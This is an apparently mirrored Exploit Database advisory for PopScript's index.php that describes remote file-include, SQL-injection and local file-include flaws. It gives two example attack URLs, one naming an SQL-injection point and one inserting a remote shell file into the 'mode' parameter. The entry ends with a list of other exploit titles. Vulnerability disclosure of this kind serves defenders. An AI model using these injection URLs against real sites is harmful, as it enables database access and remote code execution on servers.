PopScript – ‘index.php’ Multiple Input Validation Vulnerabilities

Exploit Database
122 阅读

作者： NassRawI

日期： 2011-06-06
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/35831/

source: https://www.securityfocus.com/bid/48113/info

PopScript is prone to a remote file-include vulnerability, an SQL-injection vulnerability and a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow an attacker to execute arbitrary local and remote scripts in the context of the webserver process, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass the authentication control.

http://www.example.com/PopScript/index.php?act=inbox&mode=1 [ SQL injection ]

http://www.example.com/index.php?mode=[Shell txt]?&password=nassrawi&remember=ON

last Exploits
PopScript – ‘index.php’ Multiple Input Validation Vulnerabilities的更多信息

WordPress Plugin User Meta Manager 3.4.6 – Privilege Escalation：
Agent Tesla Botnet – Information Disclosure：
Restaurant Reservation System 1.0 – ‘date’ SQL Injection (Authenticated)：
netjukebox 4.01B/5.25 – ‘skin’ Cross-Site Scripting：
openauto 1.6.3 – Multiple Vulnerabilities：
Hotel Booking Engine 1.0 – ‘h_room_type’ SQL Injection：
D-Link DSL-500B Gen 2 – URL Filter Configuration Panel Persistent Cross-Site Scripting：
WordPress Plugin User Photo Component – Arbitrary File Upload：